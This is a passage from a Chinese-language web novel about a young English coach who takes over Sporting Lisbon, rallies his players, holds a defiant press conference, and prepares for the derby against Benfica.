他想了很多，金钱、女人、美酒.....世间所有的奢侈品都在他脑海中转了一圈，可安东尼的回答却出乎他的意料。 “荣誉。” 男人挑了下眉，他的额头宽阔而平整，只有做这个动作时，眉峰骤然拔高，弧度优雅的眼尾微微上扬，显露出一丝天生的倨傲。 “我会为里斯本竞技拿下一座新的奖杯。” 安东尼平静的宣告道。 4. 风雨欲来 安东尼和富瓦克签订了新的聘请协议，随着商定好的内容写进隐藏条款，两人成了天然的联盟，白纸黑字的文书一份压在办公室保险箱的最下层，一份被安东尼装包带走。 这下，安东尼才算真的坐上了主教练的位置。 口头约定在正经协议面前毫无含金量，之前安东尼选择按兵不动，一是因为他还没完全摸透富瓦克的心思，二是没有实质权利。 过去的经历告诉安东尼，若是无法一击毙命，最好不要随便亮出爪子，一只伤不到人的野兽，只会让人看轻他的分量。 但现在不一样了。 得到想要的权利，安东尼第一时间赶往俱乐部的人事部门，提出了自己的要求。 “我需要两个助手，”安东尼说，“一个体能教练，最好是足球运动科班出身，职业生涯足够长，身上很少受伤那种。” “还有一个技术人员，要名牌大学的数据分析专业毕业，能通过录像和数据分析对手战术、球员跑动频率、传射成功率还有自身特点，形成报告供我参考。” “啊？” 负责队内后勤工作的员工从没听过这种要求，顿时一脸愕然，记录的笔也停了下来，抬头看向桌前的男人。 “有任何问题吗？劳尔。” 他挑眉问道。 安东尼站姿看似随意，重心却稳稳地压在靠近桌子的那条腿上，见对方在发呆，他俯下身，修长的手指轻轻搭上了桌沿，指节在桌子上敲出无声的节奏。 颧骨线条干净利落的帅脸忽然在面前放大，让劳尔心脏一颤。 劳尔收回视线，嘴里磕磕巴巴，“我想是没问题.....但我得先致电主席问问他的意见！” 安东尼点头。 他和劳尔是老搭档了，一个负责队内训练，一个负责球队的日常行政事务管理，诸如：行程安排、后勤保障等等，他知道对方没有权利决定招聘新助理，不意外他会致电富瓦克询问意见。 在所有人眼里，他现在还只是个临时教练，但今天过后，他的形象就不一样了，晚上富瓦克会召开新闻发布会，对外正式宣布他的身份，到时候他就可以直接行使自己主教练的权利，不必等人审批。 “动作要快，三天之内我要看到他们出现在我面前。” 安东尼吩咐道。 劳尔下意识的点了点头。 直到对方转身离开办公室，老旧的门轴发出吱呀的一声，劳尔才意识到自己竟然在没有和主席确认之前，就听从了安东尼的指令。 简直像是昏了头。 男人搓了搓自己的红色卷发，心中烦闷的同时，又对安东尼的变化产生了一丝惊奇。 往日的安东尼像是温和的皮革刀鞘，任由劳伦佐如何喷洒火爆脾气，都能被他包容化解，谁能想到劳伦佐离开后，安东尼变了。 像是一把收在鞘中的匕首，逐渐露出内里藏着的冰冷而锐利的锋芒。 或许他真的能成为一名优秀的主教练。 劳尔心道。 * 离开后勤组办公室，安东尼马不停蹄前往训练场仓库，和库管沟通协商，将一些训练器材组合成一套，又致电劳尔让他采买一些新的器材。 直到将方方面面都安排好，安东尼终于抽出空去洗手间解决私人问题。 “哗——” 伴随水龙头扭开，他将脸埋进掌心，水珠顺着腕骨滑进袖口，白衬衫吸了水，贴在小臂上，透出紧绷的肌肉轮廓。 直起身后，安东尼直视着镜子里那张湿漉漉的脸，半响，抽出胸前口袋里叠着的手巾，一点点擦拭掉脸上的水珠，动作有条不紊。 手机在裤袋里震动。 他探下手，按下接听按钮，白色诺基亚贴在耳边，电话那头传来浓郁低沉的伦敦音。 “现在天气如何，安东尼？” “葡萄牙天气可不像英国那么多变，不值得你一天打两个电话询问。” 记忆中，原主和对方相处的点点滴滴在眼前不断闪回，犹豫几秒后，安东尼加了个称呼。 “爸爸。” “好吧我的孩子，”男人低低地笑了一下，意识到他的语气僵硬，开口解释，“只是查看一下你的情况，并没有插手你的人生的意思，你知道你离得实在是太远，我会担心也很正常。” 安东尼脸色缓和了。 “谢谢你的尊重，我现在很好，一切都在按照计划中的发展。” “也谢谢你提供的媒体消息。” 他补充道。 “不必客气，有权利能用，最好还是在退休前尽情发挥，你说对吧？” 男人的话语充斥着暗示性，安东尼立刻回想起三个月前，自己这位神通广大的父亲拿来了一张利物浦和一张曼联助理教练的合同，原主当场拒绝，一个月后便奔赴遥远的葡萄牙，可见不想走后门决心之深。 现在看来，老父亲怕是还没死心。 安东尼挑了挑眉，不接话。 “好吧好吧，”男人退让了，“冬歇的时候回英国过圣诞节，这个要求不过分吧？” 安东尼顿了顿，“不一定。” 对面一愣，显然没想到他会拒绝，思考了一会儿，询问道：“是安妮邀请你去意大利过节了，还是你见到琼斯感觉别扭？” 安妮是安东尼的母亲，意大利美人，还是位有才华的服装设计师，年轻的时候和安东尼的父亲凯恩结婚生子，很是恩爱，只是随着时间推移，两人之间的情感逐渐变淡，如今已经和平离婚五年，而琼斯则是他父亲的新婚妻子。 两人都不是他拒绝的原因，安妮今年升职后工作繁忙，上次打电话还是一个月前，雷厉风行的女人热情的表达了对他的想念，三分钟不到就被助理催着挂断电话，根本没提过圣诞节的事，而琼斯一直对原主彬彬有礼，两人的相处很舒服，安东尼对她没意见。 他只是想.....圣诞节或许可以去见那个人。 想起过去，安东尼有些烦躁，他退后半步，背脊靠上瓷砖墙壁，冰凉的触感隔着西装衬衫渗进皮肤，缓和了他的情绪。 他深吸一口气，缓缓吐出，半响才开口。 “等我考虑一下吧。” “我知道了，”男人沉默一瞬，转移话题，“很高兴你在国外买不到英国的报纸，这些媒体寻找热点的速度越来越快，用词也越来越毒辣了，瞧瞧《太阳报》说你什么？一个自从足球运动诞生以后最大的灾难！” “我真的很想给MI6发一封建议书，让他们直接去英国小报找雇员，这可比亲自培养情报头子快多了！而且他们不用武器，单靠语言就能杀人，正好可以给大英政府节约开支。” 男人的语气充斥着怨念和愤慨，安东尼能想象到对方坐在花园的圆桌前，将手杖挥舞的猎猎作响的模样，嘴角不禁流露出一丝笑意。 就在这时。 厕所大门被人猛地推开，门轴发出金属摩擦的咯吱声。 安东尼骤然扭过头。 冰蓝色的瞳孔扫了过来，像是黑夜中的野兽骤然发现猎物，眼里充斥着审视和防备。 克里斯蒂亚诺浑身一僵。 是他。 两人一起想到。 安东尼回过神，对着电话，压低声音，“talktoyouter，Dad。” 是葡语吗？ 克里斯蒂亚诺一脸茫然。 安东尼收起手机，视线沿着对方额头的汗迹，滑过眉骨，擦过眼下那片微红，最后钉在那双棕色眼睛上，湿亮而慌乱。 “我没有逃训。” 少年解释的速度飞快，胸膛急促起伏，简直像是在不打自招。 安东尼偏开眼，抬手看了下腕表，黑白双色短针已然快到十一，正是训练的时间。 但...... “嗯，你来上厕所，只是选了个离球场最远的而已。” 他淡定道。 “哦，是的，”克里斯蒂亚诺眨了眨眼，汗水从眼皮滑落，“我刚刚去找队医，他给我开了些冰凉喷雾。” 安东尼皱眉，“肌肉受伤了？” “不是，就是感觉小腿这儿很紧，用些喷雾会舒服，”克里斯蒂亚诺飞速解释，“这几天我会减少训练量，我保证。” 少年似乎很紧张，紧紧抿着嘴，浓密的长睫毛像是蝴蝶振翅一般开合，安东尼怀疑自己要是再不说话，等会儿少年的睫毛就真的飞走了。 “记住 你的保证。” 安东尼轻声道，“现在去上厕所。” “好的教练。” 克里斯蒂亚诺松了口气，露出一个灿烂的笑容，上前一步，自然的脱裤子，动作忽然一僵。 教练不会在看吧？ 虽然都是男人被看了不是什么大不了的事，可对方是他的教练，克里斯还是感觉别扭。 他小心翼翼回过头，试图观察男人有没有将自己看光，谁知刚刚站在自己身边的男人已然推门出去，只给他留下一个快速闪动的灰色虚影。 * 安东尼回到训练场，果不其然看见球员们正在吊儿郎当的训练，明明是传接球训练，脚下的球却总是飞出场外，还有射门的、带球突破的，脚法一个比一个烂，整个场面就像是小学生在课间操自由活动一样，散漫、无序。 安东尼冷冷的看着这一切，眼底凝上一层寒霜。 但他并没有出声，看了一个小时后，不少人开始收球，准备去更衣室换衣服，前往食堂吃午饭。 “迭戈。” 安东尼唤了一声，烈日下，独自颠球的少年立刻抬起头，见到他来了，勾腿将球带进怀来，快速跑到他面前，喘着粗气：“教练。” “一起去更衣室。” 男人淡声道。 少年抬手抹了把汗水，视线扫过对方平静的眉眼，心中有了种不好的预感，似乎是风雨欲来的前兆。 果然，等他最后走进更衣室，门砰的一下被关上了。 屋里嘈杂声瞬间安静下来。 “sorry，手劲儿大了些。” 安东尼轻笑，缓缓走到更衣室中心，居高临下的看着椅子上的球员们，目光在每一张青涩的脸上滑过，眼里或紧张、或无畏。 “我要和大家分享一个消息，”男人不紧不慢的开口，“今天晚上会有记者招待会，就我出任主教练一职的问题，进行作答。” 此话一出，大部分的表情瞬间变得奇怪起来。 “有人不能出席吗？”他问。 屋内一片寂静，无人应声。 “很好，”安东尼满意的笑了，随后说，“另外我还有一个决定。” “放弃一个月后的葡萄牙杯。” 这句话像是一个炸弹，直接引燃了所有球员。 “教练，为什么要放弃葡萄牙杯？” “那可是仅次于联赛的高含金量比赛，上帝，教练你不能做出这个决定！” “我们还有球场出勤率......” 叽叽喳喳的声音不绝入耳，安东尼却像是没听见一样，后退半步，背脊靠在墙上，双臂交叉环于胸前，一条腿重重的支在地上，另一条腿绕在膝前，脚尖偶尔轻轻点地，表情轻松。 迭戈看出了安东尼此刻的心情并不美妙，隐约有股骇人的威压从他身上飘出来，眼角一跳，赶紧出声制止队友们自杀式的行为。 “都别说了，给教练一点安静的空间！” 迭戈在里斯本竞技一线队踢了九年，队长的权威性不容置疑，不管是否情愿，所有人都必须要听他的话，大家渐渐息了声音，一时间屋内安静的只能听见粗重的喘息声。 “我很高兴能知道大家还是可以听进去话的。” 安东尼的声音平静的不像是嘲讽，偏偏令所有人红了耳廓。 他们在教练眼里到底是什么形象？连人话都听不懂的虫子吗？ 但凡能进入一线队的，大多都是青训营里的天才，每个人都有他们自己的骄傲，因此面对安东尼德冷嘲热讽，还是有人坐不住了。 乔安就是第一个。 “教练我不同意你的话，我们不只能听话，还能踢个好球！” 少年的头高仰着，眼眸明亮，眼底燃烧着一往无前的勇气。 “嗯，”安东尼点头，“你们能踢个好球。” “可为什么我看不到呢？” “去年我们在联赛和葡萄牙杯中分别得了第四名和第七名，今年联赛我们赢了四场，全是去年前十名开外的队伍，甚至还被一个常年保级的队伍扳平，这是你们口中的踢个好球吗？” 安东尼笑了笑，轻描淡写道：“如果是，那我认可你们会踢球。” 5. 发布会宣言 安东尼的话并不激昂，像是一根不起眼的针，随着一场落雨，细细密密的扎在这些年轻又骄傲的球员身上，千疮百孔的心随着呼吸不断抽痛。 从小刻在骨子里的竞争精神，让他们每个人都有一个冠军梦，一个英雄梦。 谁愿意厚着脸皮说上一声“拿不到冠军的我球踢得很好”，至少沦为更衣室里三年的谈资，事迹会在足坛代代相传。 一时间，所有人都沉默了，刚刚还气焰十足的乔安，随着安东尼每说一句，头也越来越低，人虽然站着，几乎和坐在板凳上一样高。 在众人都沉浸在思绪中，安东尼环顾四周，不紧不慢的再次开口。 “我从没骂过你们，因为你们的荣耀、你们的未来，必须由你们自己去争取。” “同理，我的荣誉，我也要自己争取。” “我要拿下冠军。” 安东尼说完这句话，不少人都抬起了头，表情有些惊奇。 他们打量着这位年轻的教练，像是第一次了解他一样，但也确实是第一次，之前安东尼做助理教练时负责他们的训练，他们之间气氛和谐，却对对方一无所知。 他就像一个黑洞，不管是从哪个角度凝视，都让人看不出任何心思。 但这一次，男人眯起眼，眼尾轻轻上扬，蓝色的眼眸冷静如冰，深处却灼着不肯熄灭的执念——那是运动员最熟悉的野心。 随着安东尼声音落地，屋内再次陷入寂静，人群中不知是谁吹了个口哨，像是打开了某种开关，更衣室忽然爆发出巨大的吼叫声。 “我想做冠军！” “我要成为第一，成为世界最棒的足球运动员！” “我要去五大联赛踢球！” “我要实现儿皇梦！我会是皇马最强！” 一群高大威猛的少年，在小小的更衣室里上蹿下跳，撕心裂肺的吼叫，凳子柜子吱吱作响，地板痛苦的嗡鸣，几乎将房间撕成两半！ 而安东尼就站在更衣室最中心的位置，静静地看着这一幕，没有任何制止的打算。 在这一刻，他的精神和球员的精神终于站在了一起，他们是男人、是野兽、是为了胜利而疯狂的一缕执念！ 随着激情褪去，球员一个接一个冷静下来，蹲在地上的、站在桌上的，大家像是约好了一般站在原地，视线统一向一个人看去。 当目光从四面八方投射来，安东尼接收到了这些球员渴望有人带领自己成功的炙热眼神，上位者的滋味不禁让他全身血液上涌，心脏骤然加快跳动。 他忽然勾唇笑了，低沉的声音充斥着蛊惑的味道。 “想要双冠王吗？”他问。 双冠王？！ 同时在葡萄牙超级联赛和葡萄牙杯中获得冠军，如此殊荣别说在里斯本竞技，就是在整个葡萄牙，都有二十年没有出现了。 这么困难的目标，换做平时，这些球员绝不会直接表露自己的渴望，但今天所有人都是异口同声。 “想要！” 是的，不管能不能做到，他们都想要。 “想要就会得到，”安东尼云淡风轻道，“只要从现在开始，你们付出比之前成倍的努力，坚定不移的跟随我的方式训练，将自己融入我的战术，我保证会让每个人脱胎换骨，保证在赛季末让你们捧上金灿灿的奖杯。” “如果有觉得做不到的，可以告诉我，我会送他离开一线队。” “软蛋不配留在竞技体育的战场。” 这句话安东尼说的很温柔，字眼却比每次都狠厉，可惜没人愿意自我代入。 这一次同样是无人开口，但眼神意志已经和最初进入更衣室的表现截然不同，等到所有人洗完澡，前往食堂吃午饭时，看着这群熟悉的球员，食堂的工作人员总觉得哪里有些不对劲。 直到所有人离开后，有员工恍然大悟。 “他们身上的气势不一样了！” 原本慵懒的精气神忽然提起来，竟然和他在军队见过的精兵战士一模一样。 他喃喃自语，“上帝，这太神奇了，简直像是脱胎换骨。” * 下午训练时，当大家赶到训练场，绿荫草地摆放的不再是从前跨栏杆和定位盘，或者说，不单纯是这些器械。 橘黄色标志杆插在地上，中间夹杂着绳梯、定位盘，像是一条指引之路，一直到禁区前。 这个基础路径，是安东尼根据最新的战术给他们设计的技战术训练场景，设置绕杆路线、划定区域、标记点位，每一处抉择，都是根据场上跑动场景需求以及球员的运动心理设计的。 比起过去球员们单纯训练体能和个人技术，这个训练方式能很好的培养他们在场上跑动到相应站位的敏感度，换句话说，安东尼正在把空间概念引入到足球中。 之前足球的防守形式无外乎是人盯人，甚至连更高级一点的控球理念都没有，更何况是空间防守概念，这一套，安东尼在带领NBA队伍时就运用的炉火纯青，现在将这个技能迁徙到足球比赛中，一样用的通。 脑子里掌握着先进战术理念，这就是安东尼说他能带出冠军团队的底气。 球员没有见过这种训练方式，安东尼就一点点教，所有人排成一列，一个接一个跑动，前面的人到达了下一个站位点，安东尼就让所有人环顾四周，记住队友和自己的距离、方位，如果在球场上这种和谐感被打破了，周围人要迅速填补位置，保证距离和阵型。 新的体能教练还没来，安东尼一个人要掰成三个用，一边监督左边进行的技战术训练，一边要留意右边练习传跑射门联动的三三组合，一边要帮训练完一轮的球员做拉伸和肌肉按摩。 不得不说，安东尼如果愿意的话，他能很好的融入群体中，短短一个下午，球员们对他的好感迅速飙升，敞开心扉和他大聊生活中的困扰和乐事。 主教练就是这样，看似是球队里最光鲜亮丽的决策者，实际上是兼顾心理医生、按摩师、战术编排师、数据分析员、甚至还有理财经理、公关.....一些列工作岗位的复合型牛马。 安东尼随手撩了一下碎发，露出饱满白皙的额头和深邃立体的五官，脸上浮出薄汗，如同水雾，让整张脸透出钻石般的光泽。 凭一己之力，瞬间将绿茵场变为灯光闪烁的秀场T台。 克里斯蒂亚诺躺在柔软的草坪上，安东尼的另一只大手抓住他的脚踝，将他的小腿重重按压紧贴腹部，仰视的角度，正好让他把对方的动作尽收眼底。 饶是自信如他，也不得不承认，教练是他见过最帅气的男人，比他自己都要帅。 鼻尖飘来熟悉的须后水的清爽气息，和他身上的汗液味截然不同，克里斯蒂亚诺下颌紧绷，扇动鼻翼偷偷地吸了几口。 他心想，等以后有钱了，他要买各种香水，让自己浑身香香的。 “疼了吗？” 安东尼见他一直紧抿嘴唇，还以为自己好久没给人拉伸，手法变得生疏弄疼了对方，俯身轻声问道。 “不疼，”克里斯蒂亚诺回答的很硬气，眼下皮肤却悄悄变红，“我还可以坚持！” 十六岁刚到发育初期，克里斯蒂亚诺的声音变得比以前厚重了一些，但还没有到低沉磁性的程度，安东尼耳朵里却听见了破锣一般沙哑的声音，眼底染上一层笑意。 想也知道，更衣室里的狼吼，就有克里斯蒂亚诺的一份功劳。 安东尼笑问，“你在更衣室说了什么目标？我没听清楚。” 此话一出，克里斯蒂亚诺的脸色变得古怪起来。 他的脸颊一会儿泛红一会儿发白，抿了抿嘴巴，整张脸都写着“我很不爽”，整个人彻底沉默下来。 安东尼拧紧眉，本想在和他多说两句，刚要开口，就被队长迭戈叫走去处理场地内踢乱的标志盘，很快将这件小事抛之脑后。 训练一结束，所有人都撑不住了，直接摊在草地上，恨不得能闭上眼睡一觉。 原来器材组合在一起的疲惫程度，不是1+1=2这么简单，他们忽然对教练口中“成倍的努力”感到恐惧，谁能知道这竟然不是一个形容词！ 不管再累，球员们还是晃晃悠悠站起来了，因为十分钟后，主教练的新闻发布会就要开始了，他们一线队必须出席。 * 多媒体室，几十张折叠椅整齐的摆满了中央区域，陆陆续续有记者进门，或低头摆弄相机，或把玩录音笔的按钮，或反复翻看同一页笔记本，时不时抬头看门，不停抖腿。 里斯本竞技的新闻发布厅，记者们不知道来过多少次，像今天这样严阵以待，真是头一回。 富瓦克抬手按住暗黑色的领结，小幅度的整理一番，深吸一口气，挺直身体，身前的肚腩越发显眼。 “几点了？”他压低声音问道。 负责维持秩序的俱乐部工作人员第三次看手表。指腹在表镜上蹭了一下，老老实实禀告道，“还有三分钟五点。” 富瓦克烦躁的捋了一把涂满发胶的头发，视线从前排堆积的记者，一路滑向最后排，一架又一架的摄像机，黑洞洞的镜头直直射向他，宛如长枪大炮，触目惊心。 这些该死的记者！真不错过每个吃肉的机会！ 他在心中低低骂了句，想到斯图亚特就要站在台前发言，富瓦克的心立刻揪在一起，脸上渗出密密麻麻的汗。 在今天之前，他把一切都计划的很好，自己扶持斯图亚特坐上主教练，先用对方身上的争议性，给球队增加些曝光度，一旦对方触怒了球迷和记者，就立刻让对方下课，顺便还能给自己赚一波好名声。 可现在一切都不能了！ 记者、球迷、史密斯.... .斯图亚特。 富瓦克脑中闪现出一张张脸，在心中将所有人都骂了一遍。 就在他放空出神的时候，门把手忽然动了。 “嘶——” 黑框眼镜的金发男人正在低头整理新闻稿，耳畔传来此起彼伏的倒吸声，他随意的抬起头，表情一怔，原本漫不经心的神色骤然认真起来。 安东尼匆匆走上讲台，长腿轻拢，在原地站定。一身炭灰色西装。戗驳领极宽，几乎铺满整个胸膛，腰线收得极深，却因他挺拔的背脊没有显露出女气，反而勾勒出他平坦结实的腰腹。 他抬起眼，目光掠过台下的记者面孔，房间在他站定的那一刻陷入了一种短暂的、真空般的安静，只剩下空调出风口微弱的嗡鸣。 男人朝着台下点了点头，下颌微微抬起，对着话筒，喉结在上方领结的边缘轻轻滚动了一下，声音如水，缓缓流进所有人的耳畔。 "晚上好记者朋友们，我是安东尼.斯图亚特，很高兴未来和你们共事。" 不高不低的声音，恰似夜晚般低沉平静，偏偏麦克风给男人的嗓音平添了一份磁性，仿佛有电流穿过，座下记者的耳根顿时一阵酥麻。 顺着门缝偷偷溜进来的球员们刚落座，就听见自家教练用从没有说过的温柔语气和记者打招呼，还没来得及惊讶，就被身后疯狂的按键声和闪光灯吓了一跳，撑着椅子扭头看过去，顿时目瞪口呆。 这一张张喜笑颜开的脸是怎么回事？ 发布会正式开始，主席富瓦克将象征着教练权利的红色聘用书递给安东尼，就着俱乐部发展发言，文稿和往日一样千篇一律，毫无热点，座下的记者一副意兴阑珊的模样，象征性的提了两个问题，直到安东尼重新站在麦克风前，所有人顿时来了精神。 “斯图亚特先生，请问你对球迷希望你下课的示威游行怎么看？” 记者们纷纷举手，一个四十岁左右的秃头男人被工作人员选中，紧忙站起身提问。 “谢谢您的提问......来自葡萄牙《球报》的格尔先生。‘’ 安东尼眯起眼，看向他胸前工作牌的名字，得到对方肯定的点头后，用一种轻松的语气说：“各位叫我安东尼就好，我还很年轻，斯特亚特先生还是让我父亲来做吧。” 似乎为了证明自己的年轻，男人耸了耸肩，座下的记者们被他孩子气的举动逗笑了，场内的氛围顿时轻松了起来。 “另外回答您的问题，格尔先生，”他彬彬有礼道，“我认为球迷的行为很可爱，他们对俱乐部和球员有着强烈的归属感，并不了解我的能力，会担心新人教练承担不起这项众人，这是人之常情。” “那您是愿意顺应球迷心愿，直接下课吗？”有人喊道。 “这位抢先提问的先生似乎没有听清我的话，”安东尼神色不变，“我说的是在他们并不了解我的能力的情况下。” 这下所有人都听明白了，原来刚刚的话不是安东尼温和谦逊的表态，反而是最张扬的宣誓——他会证明自己的能力值得主教练的位置。 台下记者先是一愣，紧接着立刻兴奋起来。 作为记者最怕的是什么？不就是喜欢打官腔，一点不给他们漏口风的发言人，而安东尼看似温和圆滑，实则恰恰相反，他是最傲慢不过的！ 这下子记者像是闻见了腥味的猫，提问的攻势更加猛烈了。 差点把手举断了的金发男人终于等到了机会，站起身，手里的录音笔对准台上，红色光点映在他眼底，一闪一闪，“安东尼，我是来自里斯本《每日足球报》的记者，你能再详细说明一下，你的能力能对这个队伍产生哪些帮助吗？而在你的帮助下，这支队伍又能走多远呢？” 两个问题看似简单，实则很难回答的好。换做经验老道的教练，可能会讲述一下教练的职责，再说一句会尽可能让队伍走的更远，这种模糊笼统的话，避免后来球队成绩不佳自我打脸。 毕竟教练又不是只在一个球队混，下课了还能换下家，但要是说大话却没拿到成绩，丢了逼格，怕是会沦为所有俱乐部的笑柄。 不少记者扭头低声窃窃私语，似乎在分析安东尼会不会中圈套。 安东尼当然知道自己怎么回答会更有利。 手肘顺势搭在桌上，安东尼握住麦克风的黑色杆子，修长的指尖在扩音海绵上点了点。 “咚咚。” 沉闷的低声自台上扩散开。 众人顿时看向台上。 安东尼直起身，正在这时，他头顶的日光灯管忽然发出“嗡”的一声，快速爆闪了两下，西装的丝线骤然折射出细微的银灰光点，如夜幕里的星辰熠熠闪烁，一时间迷了所有人的眼。 “我们只会是冠军。” 新媒体室内，安东尼笃定的声音不断扩散，在所有人心中荡出圈圈涟漪。 6. 德比中的德比（上） 隔天一早，新闻报纸的头版头条写满了安东尼.斯图亚特的名字。 《球报》：《菜鸟教练口出狂言：目标赛季夺冠》 《每日体育邮报》：“里斯本竞技一线队亮相记者会，疑似力挺新任主教，是受到逼迫，还是心甘情愿？” 《竞赛报》：“新主教，新风气，里斯本竞技球员坦言：训练很累，一切都在变化。” 除了《纪录报》发表了一篇名为《撞脸好莱坞巨星的教练》的脑残水文，葡萄牙所有媒体都在披露这位新教练的野心——他只为冠军而来，如此嚣张的言论激起了所有球迷的好奇心，当人们前仆后继前往阿尔瓦拉德球场，想知道这位主教练藏着什么绝技，却惨遭拒绝进入训练场。 俱乐部以新教练要求对球员进行封闭式管理为由，将球迷和媒体全都关在门外，这个前所未有的举动，让所有人都看出了里斯本竞技高层对安东尼.斯图亚特的执教的支持和决心，但球迷们却不买账，纷纷抗议要求恢复自己的正当权益。 在俱乐部和球迷双方的拉扯下，主席富瓦克宣布会留下每周三下午两点到三点的窗口时间，允许球迷进场观看球队训练，但这一个月会继续保持封闭训练场的决定，以保证球队能有最好的状态，迎接下一轮比赛。 富瓦克信誓旦旦保证，“我很确信斯特亚特会给我们俱乐部带来更多的荣誉，他正在改进比赛战术，以求能在后续比赛中更好的发挥出每个球员的特长，踢出精彩的比赛。让我们给他一些时间，等待一线队的全新亮相！” 在媒体和俱乐部的轮番炮轰下，原本对安东尼.斯图亚特极其不信任的球迷们，态度逐渐转变为半信半疑，实在不是他们排外，事实摆在这里，一个毫无经验的教练，真的能在短短三天的时间，将队伍原本的阵型全部打碎，重新建立起更强的战术吗？ 他又不是上帝！ 答案就在周末的第十轮联赛揭晓。 早在一个月前，整个里斯本都在关注这场焦点战：本菲卡对阵里斯本竞技。 要知道，本菲卡和里斯本竞技同是葡萄牙豪门，俱乐部又都在里斯本，本就是同城死敌的关系，再加上两个俱乐部的前身其实是同一家俱乐部——葡萄牙体育，当年为庆祝国王恩里克五世加冕，葡萄牙体育被拆分成两个俱乐部，球迷也渐渐分成了两个队伍，这种同源分裂的恩怨，让两个俱乐部的竞争更加剧烈，联赛中的对决，堪称是“德比中的德比”。 球票在半个月前就一售而空，如今，这场比赛又因为里斯本竞技突然换帅，本菲卡爆出新赛季引援球星状态不佳而蒙上了一层神秘色彩，流通球票价格翻了好几倍，却还是一票难求。 比赛前一天，安东尼问富瓦克要了两张票，夹在体育报纸里，顺着劳伦佐家的门缝塞了进去。 相处两个多月，安东尼知道劳伦佐有多热爱足球，坏脾气的老头时不时打来电话，明里暗里都是询问球队训练情况，尽管他承诺一切都尽在掌控之中，劳伦佐依旧不相信他能驾驭这只球队，安东尼不喜欢浪费时间，与其多费口舌，不如用事实证明。 但...... “你真的能赢这场比赛？” 富瓦克烦躁的扯了扯领带，视线凝在身侧的男人身上，对方的目光则落在不远处的大巴前。 球员接连登上大巴车，随行工作人员将后勤补给装入车底行李架，拉上车门，确认一切准备就绪后，劳尔转身朝远处的安东尼比了个大拇指。 安东尼双手插兜，朝他点头，嘴里不忘回答富瓦克的问题，语气云淡风轻，“输赢是上帝决定的，我只是怀揣着信心而已。” “只是有信心？” 富瓦克简直不敢相信自己听见了什么，见安东尼迈步离开，一把抓住他的手腕，男人回过头，四目相对间，安东尼缓缓挑起眉。 “让那些球员拿出最好的表现，”富瓦克抿了抿唇，直视着安东尼的眼睛，语气凶狠，“我们可是一条船上的，别在董事会面前让我难堪。” 安东尼笑了，黑色长款西装衣摆迎风飘扬，露出里面的暗蓝色的马甲和灰色衬衫，他手腕用力，轻轻一挣抽回手，没有在意富瓦克惊诧的目光，将腰腹处的扣子系好，从下到上，动作一丝不苟。 “你太心急了主席先生，”安东尼调整了一下领带夹，阳光下，暗蓝领带中央一颗十克拉的钻石银光闪烁，他漫不经心道，“心急可吃不了热豆腐。” 等富瓦克再想说些什么，安东尼早已经远去，大巴车一辆接一辆驶出俱乐部，只留下肥硕的男人在原地一脸焦躁，盯着大巴车后背的广告低骂一声，转身进入白色轿车，跟着驶出俱乐部。 随着夜幕降临，成千上万的球迷走上街头，四面八方的人流最终汇聚在卢斯球场。 球迷们大排长龙，检票、入场，手里的队旗飘扬，帆船形状的球场内，里斯本竞技和本菲卡的球迷身穿秋衣分坐两边，绿白和火红色交织在一起，吼声震天，势如水火。 不管球场里的球迷有多激动，安东尼的工作仍在按部就班进行。 “就在刚刚，本菲卡的主席和董事会成员出现在四楼VIP包厢，我们之前对本菲卡的分析很正确，这个赛季的本菲卡势头微弱，联赛第五名的实时成绩，显然让那位主席先生很焦躁。” “本菲卡的教练是上一届葡萄牙国家队的主教练，何塞.穆里尼奥在上一场联赛后很快辞职，对方临时接任，这一场比赛必然他是向董事会证明自己能力的最好机会。” 会议室内，安东尼坐在圆桌尽头，手里拿着今天的首发名单，耳边传来新任助理教练奎西蒙的情报，低头沉思，过了一会儿，抬起头，将手里的名单向前推了推。 “战术照旧，”安东尼说，“前三十分钟我们要积极进攻。” “这太大胆了，斯图亚特先生。” 战术分析师卡希尔推了推眼镜，“对方主教练一向喜欢使用链式防守，如果我们把体力都浪费在上半场却拿不到一个进球，下半场球员们体力下降，就成了对方反击的机会了。” “那就拿到进球。” 安东尼挑了挑眉，“这几天你们也看过队内对抗赛了，比起之前，单场比赛中球员跑动距离增加了12%，跑位失误的概率从37%下降到21%，进球组织速度变得更快，我相信三十分钟的狂轰乱炸，足够让菲儿卡的球员应接不暇，露出破绽。” 可一旦没有进球，这种攻势足球一定会被球迷骂的体无完肤啊。 卡希尔默默咽下了这句话，点点头。 短短两天的时间，足够让他了解自己这位新领导，对方绝不是那种优柔寡断的性格，做了决定就会坚决执行，绝不拖泥带水。 确定好其他细节后，会议室内的五人起身收拾文件，各自领命离开，奎西蒙想起了什么，迈出大门的脚又退了回来，原地旋转一圈，看向落在最后的安东尼，“赛前采访还有十分钟开始了，需要我带您过去吗？” “我就不去了，”安东尼路过奎西蒙，迈出会议室，转身朝另一个方向走去，留下一句话，“和他们说我比较迷信，不喜欢赛前回答问题。” 真是个一劳永逸的好借口。 和五大联赛一样，葡超也有让主教练出席赛前新闻发布会的传统，一旦无故缺席，足联会毫不犹豫的给俱乐部开出罚单。 奎西蒙欲哭无泪，那些媒体期待的哪里是他这个助理教练的发言，分明是想听他这位新晋“网红”上司再次语出惊人，创下新一波的流量。 见安东尼毫无留恋的消失在拐角，奎西蒙深深叹了一口气，挺起胸膛，朝新闻发布厅走去。 关于这场比赛的输赢，说实在的，安东尼并不太在乎。 他执教时间毕竟还短，新的战术阵型传达给球员们需要时间消化，彼此还在磨合期，不可能做到如臂使指的默契配合，不管是进攻还是回防，出现漏洞被对方抓住机会反打是必经的过程，哪怕输了也没有什么可担心的，安东尼根本不会因为这个小事埋怨球员。 唯一的变数就是这场比赛太重要了。 德比中的德比，但凡输一场，那就是蒙羞一整个赛季的污点，就算最后联赛赢了，也会被死敌瞧不起。 这感觉就像是一个漂 亮姑娘成了领导，一旦升职过程中有男性提携，就会有人讲桃色新闻的脏水泼在她身上，恶心的要死。 安东尼为此做出了许多战术调整，将原本的防守体系和压迫进攻的战术思想融合在一起，只为进一步扩大这场比赛的胜率。 但战术再强，想要取得胜利还得依靠球员发挥出平时的水平，为此安东尼不得不前往更衣室，安抚并激励手下的小油菜们，拿出战术板一而再再而三的讲解每个人负责的任务。 直到嗓音变得沙哑，安东尼放下战术板，他已经做了所有他能做的事情，剩下的就要交给这些球员们了。 安东尼并不擅长交付信任，他是个控制狂，喜欢将一切掌握在自己手心里，但他知道，要想球员能信任他，自己必须迈出这一步——学会信任别人。 男人深吸一口气，环顾周围聚集的球员们，一字一句道：“训练了这么多天，你们一定也想知道自己变强了多少，今天机会来了。” “拿出最好的状态，赢下这场比赛。” 